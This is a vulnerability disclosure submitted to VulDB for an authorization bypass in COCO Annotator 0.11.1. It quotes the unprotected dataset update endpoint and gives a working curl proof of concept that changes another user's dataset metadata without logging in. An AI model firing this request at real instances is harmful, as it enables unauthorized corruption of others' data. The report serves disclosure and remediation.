Soumettre #801408: jsbroks COCO Annotator 0.11.1 Authorization Bypassinformation

Titrejsbroks COCO Annotator 0.11.1 Authorization Bypass
Description ## Vulnerability Summary A **missing authentication vulnerability** exists in the COCO Annotator dataset management API. The `POST /api/dataset/<id>` endpoint, which updates a dataset's categories and default annotation metadata, is **missing the `@login_required` decorator**. This allows any **unauthenticated, anonymous attacker** to modify any dataset in the system with a single HTTP request — no credentials, no session cookie, and no token required. The `DELETE` method on the **same route** is correctly protected with `@login_required`, making this an oversight where only the `POST` method was left unprotected. ## Technical Analysis ### Vulnerable Code **File:** `backend/webserver/api/datasets.py`, lines **234–287** ```python @api.route('/<int:dataset_id>') class DatasetId(Resource): @login_required # ← DELETE is protected def delete(self, dataset_id): """ Deletes dataset by ID (only owners)""" ... @api.expect(update_dataset) # ← POST is NOT protected def post(self, dataset_id): # ← NO @login_required! """ Updates dataset by ID """ dataset = current_user.datasets.filter(id=dataset_id, deleted=False).first() ... dataset.update( categories=dataset.categories, default_annotation_metadata=dataset.default_annotation_metadata ) return {"success": True} ``` ### Root Cause The `POST` method on the `DatasetId` resource (line 252) is missing the `@login_required` decorator. When an unauthenticated request reaches this endpoint, Flask-Login falls back to the `AnonymousUser` class, which grants unrestricted access to **all** datasets and returns `True` for all permission checks: **File:** `backend/webserver/authentication.py` ```python class AnonymousUser(AnonymousUserMixin): @property def datasets(self): return DatasetModel.objects # ← returns ALL datasets def can_edit(self, model): return True # ← always True ``` This means that when an unauthenticated request hits `POST /api/dataset/<id>`, `current_user` resolves to `AnonymousUser`, whose `.datasets` returns **all** datasets in the database — so `.filter(id=dataset_id)` matches any dataset regardless of ownership, and the update succeeds. ## Proof of Concept ### Step 1 — Login as the dataset owner and check current metadata ```bash curl -s -X POST http://TARGET:5001/api/user/login -H "Content-Type: application/json" -d '{"username":"victim","password":"password"}' -c cookies.txt ``` ```bash curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]" ``` ```json { "id": 3, "name": "my-dataset", "owner": "victim", "default_annotation_metadata": {} } ``` ### Step 2 — Modify the dataset WITHOUT any authentication No cookies, no token, no session — completely unauthenticated: ```bash curl -s -X POST http://TARGET:5001/api/dataset/3 -H "Content-Type: application/json" -d '{"default_annotation_metadata":{"hacked_by":"unauthenticated_attacker","compromised":true}}' ``` ```json {"success": true} ``` ### Step 3 — Verify the dataset was tampered with ```bash curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]" ``` ```json { "id": 3, "name": "my-dataset", "owner": "victim", "default_annotation_metadata": { "hacked_by": "unauthenticated_attacker", "compromised": true } } ``` The metadata was injected by an unauthenticated request into a dataset owned by another user. ## **Impact** - **Unauthenticated data modification** — any anonymous attacker on the network can modify the categories and default annotation metadata of ANY dataset in the system, without any credentials - **Annotation metadata injection** — the `default_annotation_metadata` field is propagated to all annotations in the dataset via `AnnotationModel.objects(...).update(**update)` (line 279), meaning injected metadata contaminates the entire annotation pipeline - **Data integrity corruption** — in production ML/CV workflows, corrupted annotation metadata can silently degrade model training quality, with downstream effects that may go undetected for extended periods - **No privilege required** — this is a fully unauthenticated attack (PR:N). No account registration, no session, no cookies, no tokens — a single HTTP POST is sufficient - **Trivial exploitation** — the attack consists of a single HTTP request, making it scriptable and automatable against any exposed COCO Annotator instance
La source⚠️ https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/tree/main/2026/Unauthenticated%20Dataset%20Modification%20via%20Missing%20Authentication
Utilisateur
 nmmorette (UID 87361)
Soumission10/04/2026 01:37 (il y a 2 mois)
Modérer02/05/2026 10:43 (22 days later)
StatutAccepté
Entrée VulDB360834 [jsbroks COCO Annotator jusqu’à 0.11.1 Dataset API datasets.py DatasetId élévation de privilèges]
Points20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!